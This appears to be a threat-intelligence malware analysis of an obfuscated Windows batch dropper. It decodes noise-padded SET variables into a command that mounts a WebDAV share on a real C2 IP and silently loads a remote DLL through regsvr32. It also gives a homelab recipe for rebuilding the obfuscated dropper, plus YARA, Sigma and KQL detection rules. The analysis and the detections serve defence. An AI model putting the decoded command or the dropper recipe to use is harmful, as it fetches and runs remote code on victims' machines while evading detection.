unclassified-js-webdav-dropper: 7015b169 — Forty-fourth confirmed sibling, compact 9-line batch with random-noise SET obfuscation

Executive Summary

A 3.1 KB Windows batch script (102313252271503541.bat) that uses fully random noise-string SET variable expansion to hide a WebDAV-based DLL load. Forty-fourth confirmed sibling of the unclassified-js-webdav-dropper family, sharing the 45.9.74.36:8888 infrastructure and regsvr32 /s execution chain. Distinct from prior batch siblings: 9-line minimal footprint, no goto label to skip noise (noise executes as no-op commands), and random-character variable names rather than natural-language phrases or shared-prefix patterns. Static-only — CAPE skipped as unsupported file type.

What It Is

• File: 102313252271503541.bat (3,192 bytes) ^[file.txt]
• Type: ASCII text, Windows CRLF batch script, 9 lines ^[exiftool.json]
• SHA-256: 7015b1694b5feff81655907045868ddc76f85e4b453ade3b90858b419cbe9dae
• ssdeep: 48:gIK/LtLxfgxv6xWrG1H9u5kj4gXEgNPlUz+xz+xz+xukccw4wUz+xz+xz+xukccR:gJ8ZYWqXmEEEM4tEEEgThAu0 ^[ssdeep.txt]
• Family: unclassified-js-webdav-dropper — confirmed sibling. Same WebDAV + regsvr32 execution chain, same C2 IP (45.9.74.36:8888), same port (8888), same share name (DavWWWRoot). New obfuscation dialect: random-noise variable names on a single-line SET chain.
• CAPE: Skipped — ASCII text is not a supported binary class ^[dynamic-analysis.md]

How It Works

Layer 1 — Noise padding (lines 1–2, 7–9)

The script is only 9 lines. Lines 1–2 and 7–9 are blocks of semantically-plausible English words (lcokavexlakkpxcd ovmpyobnsjhol qyqiwvxvcjphrkwj, bwukj orhm vpyztvt bosoceykmrziboscxim). These serve no operational purpose — they are dead text that defeats naive keyword-based static detection. ^[strings.txt:1-2] ^[strings.txt:7-9]

Unlike siblings ffd5d894, e11665cf, and 976dc607 which use a goto label to skip noise and jump to payload, this sample has no goto / label at all. The batch interpreter executes the noise lines directly, producing command not found errors, but continues to the payload because batch does not halt on unrecognized commands unless errorlevel is checked. The noise is therefore purely anti-static with a side effect of console error flash. ^[strings.txt:1-9]

Layer 2 — SET variable expansion (line 3)

The payload section consists of a single line containing 36 SET assignments chained with &&, each variable name being a fully random noise string of 15–35 lowercase characters: ^[strings.txt:3]

set euohzaleiacrfwtyrar=l&&set wmgdwuvonmcambavjoo=e&&set ghsqpbtps=u&&...

Thirty-six single-character values are bound to names like euohzaleiacrfwtyrar, nzcoxkerpmkosbvehaz, zohkbchqmh. The variable names have no semantic content, no shared prefix, and no natural-language coherence — they are pure random-character noise.

Three %VAR% expansion lines reassemble the commands: ^[strings.txt:4-6]

color f0&&start wordpad
start powershell.exe -windowstyle hidden net use \\45.9.74.36@8888\davwwwroot\ ; regsvr32 /s \\45.9.74.36@8888\davwwwroot\271422574128375.dll
exit

Command breakdown

Decompiled Behavior

Not applicable — this sample is ASCII text, not a PE binary. Ghidra, radare2, and capa do not support script-file analysis. All behavior was recovered via manual SET variable decoding. ^[file.txt] ^[capa.txt] ^[rabin2-info.txt]

C2 Infrastructure

Same C2 IP as siblings ffd5d894, e11665cf, dac5e0ee, b2a097ba, b32ea531, 976dc607, 9bea44f4, a1b6e36f, 682bea06, e9e82d14, f170f5a9, and 6e5e5715. The payload filename (271422574128375.dll) is numeric, consistent with throwaway staging names.

Interesting Tidbits

• Minimal footprint. At 3.1 KB and 9 lines, this is the smallest batch sibling observed in the family. The compact size suggests either early-stage obfuscation tooling or deliberate minimalism to reduce file-size detection heuristics. ^[file.txt] ^[exiftool.json]
• No goto label. Unlike every prior batch sibling (ffd5d894, e11665cf, dac5e0ee, 976dc607, 9bea44f4, a1b6e36f, 682bea06, 6e5e5715), this sample does not use a goto to skip noise. The batch interpreter walks every line sequentially, including noise. This produces visible console errors — a slight opsec regression, but the start wordpad decoy and rapid exit mean the window may close before a user reads them. ^[strings.txt:1-9]
• Random-noise variable names. The SET variables use fully random lowercase strings (euohzaleiacrfwtyrar, wmgdwuvonmcambavjoo) rather than the natural-language phrases (ripeguaranteejar) of ffd5d894 or the shared-prefix short-suffix pattern (ygfrlohixvrh) of the polyglot siblings. This is a new obfuscation dialect within the family.
• Single-line SET chain. All 36 assignments are on one line joined by &&. Prior batch siblings split assignments across multiple lines or used a goto block. The single-line approach may evade line-based static rules that look for set at line start. ^[strings.txt:3]
• No persistence. No registry Run key, no scheduled task, no startup folder drop. One-shot execution. The payload DLL is loaded via regsvr32 in-process; no second-stage binary is written to disk.
• No anti-analysis. No debugger checks, no VM detection, no sandbox gating, no connectivity checks. The script runs blindly.

How To Mess With It (Homelab Replication)

Goal: Build a minimal batch WebDAV dropper using random-noise SET variable expansion, and verify EDR detection gaps.

1. Write the batch file:

   lcokavexlakkpxcd ovmpyobnsjhol qyqiwvxvcjphrkwj
   urefjrhb pnchmrlhato zzqhju vvulwchrr syswikom
   set euohzaleiacrfwtyrar=l&&set wmgdwuvonmcambavjoo=e&&...
   color f0&&start wordpad
   start powershell.exe -windowstyle hidden net use \\<lan>\webdav\ ; regsvr32 /s \\<lan>\webdav\payload.dll
   exit
   bwukj orhm vpyztvt bosoceykmrziboscxim
   vkevlmqlxvpluz fynosthnxlrmmno gwacljrwoaihear
   kinfwquttwxktdphkw sqjtydaiwr lnmwnsrgttmujnt
   

2. Host a WebDAV share on a lab Linux box. Place a benign signed DLL.
3. Execute on a Windows VM by double-clicking the .bat file.
4. Verify behavior:
   • WordPad opens immediately (decoy).
   • Process Monitor shows cmd.exe → powershell.exe → net.exe → regsvr32.exe.
   • regsvr32.exe loads the DLL from the UNC path.
   • No registry modifications, no scheduled tasks.
5. Test detection:
   • Does your EDR flag regsvr32.exe with a UNC path?
   • Does it flag powershell.exe with -windowstyle hidden and net use?
   • Try the YARA rule below against the file.

Deployable Signatures

YARA Rule

rule Batch_WebDAV_Regsvr32_Dropper_RandomNoise {
    meta:
        description = "Batch dropper using random-noise SET variable expansion to stage WebDAV DLL via regsvr32"
        author = "Titus"
        date = "2026-07-05"
        hash = "7015b1694b5feff81655907045868ddc76f85e4b453ade3b90858b419cbe9dae"
    strings:
        $set_line = /set [a-z]{15,40}=[a-z0-9]&&/ ascii
        $net_use  = "net use \" ascii
        $dav      = "DavWWWRoot" ascii
        $regsvr   = "regsvr32" ascii
        $powershell = "powershell.exe -windowstyle hidden" ascii nocase
        $wordpad  = "wordpad" ascii
    condition:
        uint32(0) != 0x4D5A and
        filesize < 10KB and
        #set_line > 5 and
        ($net_use or $dav) and
        $regsvr and
        $powershell
}

Sigma Rule

title: Batch WebDAV DLL Registration via PowerShell-wrapped NET USE and Regsvr32
status: experimental
description: Detects a batch script spawning PowerShell to mount a WebDAV share and then silently registering a remote DLL via regsvr32.
author: Titus
date: 2026-07-05
logsource:
    category: process_creation
    product: windows
detection:
    selection_chain:
        - ParentImage|endswith: '\cmd.exe'
          Image|endswith: '\powershell.exe'
          CommandLine|contains|all:
              - 'windowstyle hidden'
              - 'net use'
              - 'DavWWWRoot'
        - ParentImage|endswith: '\powershell.exe'
          Image|endswith: '\regsvr32.exe'
          CommandLine|contains: 'DavWWWRoot'
    condition: selection_chain
falsepositives:
    - None expected; legitimate regsvr32 does not load DLLs from WebDAV UNC paths.
level: high

Behavioral Hunt Query (KQL / Microsoft Defender)

DeviceProcessEvents
| where (FolderPath endswith "regsvr32.exe" and ProcessCommandLine contains "DavWWWRoot")
   or (FolderPath endswith "powershell.exe" and ProcessCommandLine contains "windowstyle hidden" and ProcessCommandLine contains "net use")
| extend ParentChain = strcat(InitiatingProcessFolderPath, " -> ", FolderPath)
| summarize arg_min(Timestamp, *) by DeviceId, ProcessCommandLine

IOC List

Detection Signatures

References

• unclassified-js-webdav-dropper — Family entity page
• webdav-regsvr32-dll-sideloading — Technique page for the WebDAV + regsvr32 execution chain
• batch-powershell-variable-expansion-obfuscation — Technique page for the SET variable expansion anti-static pattern

Provenance

• file.txt — file utility v5.44: ASCII text, with very long lines (1654), with CRLF line terminators
• exiftool.json — ExifTool v12.76: 9 lines, 94 words, Windows CRLF, MIME text/plain
• strings.txt — strings v2.42.0 (GNU binutils): 9 lines of raw printable strings
• floss.txt — flare-floss v2.4.0: failed — not a supported binary type
• capa.txt — capa v7.0.1: failed — not a supported binary type
• rabin2-info.txt — radare2 v5.9.6: binsz 3192, bits 0, havecode false — non-PE
• ssdeep.txt — ssdeep v2.14.1
• tlsh.txt — TLSH v4.12.0
• binwalk.txt — binwalk v2.3.4: signature scan, no embedded file systems detected
• dynamic-analysis.md — CAPE v2.4: skipped (unsupported file type)
• All decoded commands verified by Python SET variable expansion script against the raw batch file.